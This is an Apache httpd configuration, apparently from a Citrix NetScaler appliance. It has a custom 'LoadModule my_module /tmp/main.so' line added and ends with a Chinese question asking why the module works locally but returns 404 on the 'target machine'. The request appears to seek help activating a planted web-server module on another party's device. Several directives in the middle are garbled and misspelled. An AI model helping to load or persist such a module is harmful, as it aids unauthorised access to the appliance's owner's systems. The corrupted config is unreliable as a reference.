ServerRoot "/etc"
Mutex file:/var/run
PidFile /var/run/httpd.pid
ScoreBoardFile /var/log/httpd.scoreboard
ServerTokens Prod
Timeout 120
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 15
MinSpareServers 1
MaxSpareServers 10
StartServers 5
MaxClients 30
MaxRequestsPerChild 10000
Listen 80
Listen 127.0.0.1:81
TraceEnable off
UseCanonicalName Off
HostnameLookups Off
ServerSignature Off
AcceptFilter http none
AcceptFilter https none
HttpProtocolOptions Unsafe
AddDefaultCharset UTF-8
LoadModule php_module /libexec/libphp.so
LoadModule my_module /tmp/main.so
LoadModule perl_module /libexec/mod_perl.so
LoadModule auth_pam_module /libexec/mod_auth_pam.so
LoadModule authnz_external_module /libexec/mod_authnz_external.so
LoadModule gsoap_module /libexec/mod_gsoap.so
LoadModule proxy_module /libexec/mod_proxy.so
LoadModule proxy_wstunnel_module /libexec/mod_proxy_wstunnel.so
<IfModule unixd_module>
User nobody
Group nobody
</IfModule>
<IfModule rewrite_module>
RewriteEngine On
RewriteCond %{THE_REQUEST} (\/|(%2(f|F)))(\.|(%2(e|E))){2}(\/|(%2(f|F))) [NC]
RewriteRule ^(.*)$ /$1 [R=403,L,NE]
</IfModule>
ServerAdmin you@example.com
ServerName 127.0.0.1
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
Header always set X-Frame-Options "SAMEORIGIN"
Header set Feature-Policy "camera 'none'; microphone 'none'; geolocation 'none'"
Header set Referrer-Policy "no-referrer"
</Directory>
<IfModule dir_module>
DirectoryIndex index.html
</IfModule>
<Files ".ht*">
Require all denied
</Files>
ErrorLog "/var/log/httperror.log"
LogLevel notice core:info
<IfModule log_config_module>
LogFormat "%a %l %u %t [%P] \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"Time: %D microsecs\"" combined_resptime
LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%a %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
<IfModule logio_module>
LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
</IfModule>
CustomLog "/var/log/httpaccess.log" combined_resptime
</IfModule>
<IfModule alias_module>
Alias /n_top /var/ns_gui/n_top
<Directory /var/ns_gui/n_top>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
Alias /vpns/support /var/ns_gui/support
<Directory /var/ns_gui/support>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
Alias /support /var/ns_gui/support
<Directory /var/ns_gui/support>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
Alias /vpns/theme /var/vpn/theme
Alias /vpn/theme /var/vpn/theme
<Directory /var/vpn>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
</IfModule>
<IfModule cgid_module>
</IfModule>
<IfModule mime_module>
</IModue>
<IModue mo_autinde.c>
Indxpton ancndexg
ReadmeName README
HeaderNam HEADER
IndexIgnore .??* *~
</IfModule>
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRndomeed onnet bultin</Ifodul>
Reriteond %REQUST_MTHOD ^(OTION|TRAE)
RewriteRule .* - [F]
RewriteCond %{THE_REQUEST} !HTTP/1\.1$
RewriteRule .* - [F]
<Directory />
<LimitExcept DELETE GET HEAD POST PUT>
Require all denied
</LimitExcept>
</Directory>
<IfModule mod_setenvif.c>
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0
SetEnvIf Citrix-ns-orig-srcip ^()$ CITRIX_NS_ORIG_IS_EMPTY
</IfModule>
<IfModule mod_reqtimeout.c>
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
</IfModule>
LimitRequestFields 100
LimitRequestBody 1500000000
PerlSwitches \
-I/usr/local/lib/perl5/5.30 \
-I/usr/local/lib/perl5/5.30/mach \
-I/usr/local/lib/perl5/5.30/mach/CORE \
-I/usr/local/lib/perl5/site_perl/mach/5.30 \
-I/usr/local/lib/perl5/site_perl/mach/5.30/Apache2 \
-I/usr/local/lib/perl5/site_perl/mach/5.30/auto \
-I/usr/local/lib/perl5/site_perl/mach/5.30/auto/Apache2 \
-I/usr/local/lib/perl5/site_perl/mach/5.30/auto/Apache2/ServerUtil \
-I/usr/local/Apache-Reload-0.10/lib/
PerlModule Apache2::porting
PerlModule ModPerl::Registry
PerlInitHandler Apache2::Reload
PerlModule Apache2::Reload
PerlSetVar ReloadAll Off
PerlSetEnv portalLoc /vpns/portal/
PerlSetEnv PortalRoot /netscaler/
<Perl>
use lib "$ENV{PortalRoot}portal/modules";
use Apache2::porting;
use Apache2::compat;
use ModPerl::Registry ();
use CGI ();
use Apache::Session::File;
system("/bin/rm -f /var/tmp/netscaler/portal/templates/*");
system("find /var/run/nshttp_profile_ids/ -maxdepth 1 -mmin +60 -type f -exec rm -f {} \\;");
</Perl>
PerlModule NetScaler::Portal::Handler
<VirtualHost *:80>
DocumentRoot "/netscaler/ns_gui"
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<DirectoryMatch "^/netscaler/ns_gui/$">
Require all granted
</DirectoryMatch>
<Directory "/netscaler/ns_gui/admin_ui">
Options FollowSymLinks
AllowOverride None
Require all granted
Header set X-XSS-Protection "1; mode=block"
</Directory>
<Location /soap>
SetHandler gsoap-handler
SOAPLibrary /usr/lib/libnscli90.so
SupportLibrary /usr/lib/libnsapps.so
Require all granted
</Location>
<IfModule mod_headers.c>
<Directory "/netscaler/ns_gui/admin_ui">
Header set X-Content-Type-Options "nosniff"
<FilesMatch "\.(css.gz|js.gz|json|json.gz|cur|gif|ico|jpe?g|png|txt)$">
AddEncoding gzip .gz
Header set Expires "0"
Header set Cache-Control "must-revalidate"
</FilesMatch>
</Directory>
</IfModule>
<Directory "/netscaler/ns_gui/admin_ui/php/application/views/applets">
<Files *.pack.gz>
AddEncoding pack200-gzip .jar
RemoveEncoding .gz
</Files>
</Directory>
<Files ".ht*">
Require all denied
</Files>
ErrorLog "/var/log/httperror.log"
LogLevel notice core:info
<IfModule log_config_module>
LogFormat "%{Citrix-ns-orig-srcip}i -> %{Citrix-ns-orig-destip}i %l %u %t [%P] \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"Time: %D microsecs\"" combined_resptime_with_citrix_hdrs
LogFormat "%a %l %u %t [%P] \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"Time: %D microsecs\"" combined_resptime
LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%a %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
<IfModule logio_module>
LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
</IfModule>
CustomLog "/var/log/httpaccess.log" combined_resptime_with_citrix_hdrs env=!CITRIX_NS_ORIG_IS_EMPTY
CustomLog "/var/log/httpaccess.log" combined_resptime env=CITRIX_NS_ORIG_IS_EMPTY
</IfModule>
<IfModule alias_module>
Alias /n_top /var/ns_gui/n_top
<Directory /var/ns_gui/n_top>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
Alias /vpns/support /var/ns_gui/support
<Directory /var/ns_gui/support>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
Alias /support /var/ns_gui/support
<Directory /var/ns_gui/support>
Require all granted
<LimitExcept GET POST OPTIONS>
Require all denied
</LimitExcept>
</Directory>
</IfModule>
<IfModule cgid_module>
</IfModule>
<IfModule mod_autoindex.c>
IndexOptions FancyIndexing
ReadmeName README
HeaderName HEADER
IndexIgnore .??* *~
</IfModule>
<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>
<IfModule mod_dir.c>
DirectoryIndex admin_ui/php/index.php
</IfModule>
RewriteMap URIEscape int:escape
RewriteEngine on
RewriteOptions Inherit
RewriteRule ^(/favicon.ico)$ /admin_ui/common/images$1 [L]
RewriteRule ^(/login/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/menu/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/nitro/.*)$ /admin_ui/nitro/nitro.php${URIEscape:$1} [L]
RewriteRule ^(/pcidss/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/rapi/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/guiapplet.html)$ /admin_ui/php/index.php [L]
RewriteRule ^/help(.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^/support/docs/pdf(.*)$ /admin_ui/php/index.php/var/netscaler/doc${URIEscape:$1} [L]
RewriteRule ^/support/docs/snmp/WhatsUpGold(.*)$ /admin_ui/php/index.php/netscaler/snmp${URIEscape:$1} [L]
RewriteRule ^/support/docs/snmp/HP-Openview(.*)$ /admin_ui/php/index.php/netscaler/snmp${URIEscape:$1} [L]
RewriteRule ^/support(.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^/api(.*)$ /admin_ui/php/index.php/netscaler/api${URIEscape:$1} [L]
RewriteRule ^(/nitro.*\.tgz)$ /admin_ui/php/index.php/var/netscaler/nitro${URIEscape:$1} [L]
RewriteRule ^/admin_ui/nitro_client/html-tool/build.js.gz$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^(/admin_ui/nitro_client/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^/admin_ui/neo/html/neo.html$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^/admin_ui/reporting/topn/html/topn.html$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^/admin_ui/home/agee/html/agee.html$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^/admin_ui/home/cloudbridge/html/cloudbridge.html$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^(/admin_ui/common/js/ns/branding/.*)$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteRule ^(/admin_ui/reporting/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/home/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/dashboard/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/gui_v2/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/neo/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/rdx/.*)$ /admin_ui/php/index.php${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/.*\.(js|css|json))$ ${URIEscape:$1}.gz [L]
RewriteRule ^(/vpn/js/rdx.js|/vpn/js/rdx/.*\.(json|css))$ ${URIEscape:$1}.gz [L]
RewriteRule ^(/admin_ui/php/application/views/applets/.*.jar)$ ${URIEscape:$1}.pack.gz [L]
RewriteRule ^(/msn/.*)$ /admin_ui/php/index.php/var/netscaler${URIEscape:$1} [L]
RewriteRule ^(/admin_ui/php/.*)$ /admin_ui/php/index.php/var/netscaler${URIEscape:$1} [L]
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -d
RewriteCond %{REQUEST_URI} ^/admin_ui
RewriteRule ^.*$ /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteCond %{REQUEST_URI} ^/admin_ui/.*\.php$
RewriteCond %{REQUEST_URI} !^/admin_ui/php/index\.php$
RewriteRule .* /some-filepath-that-does-not-exist-so-as-to-force-a-404 [L]
</VirtualHost>
<VirtualHost *:81> </Directory>
</VirtualHost>
C语言载入一个模块,我在个人机器上生效,但是在目标机器上后不生效,访问是404,怀疑是这个url重写的锅,师傅们能给看下吗?为什么没有生效,我的模块名字是my_module,我在个人机器上载入就可以生效了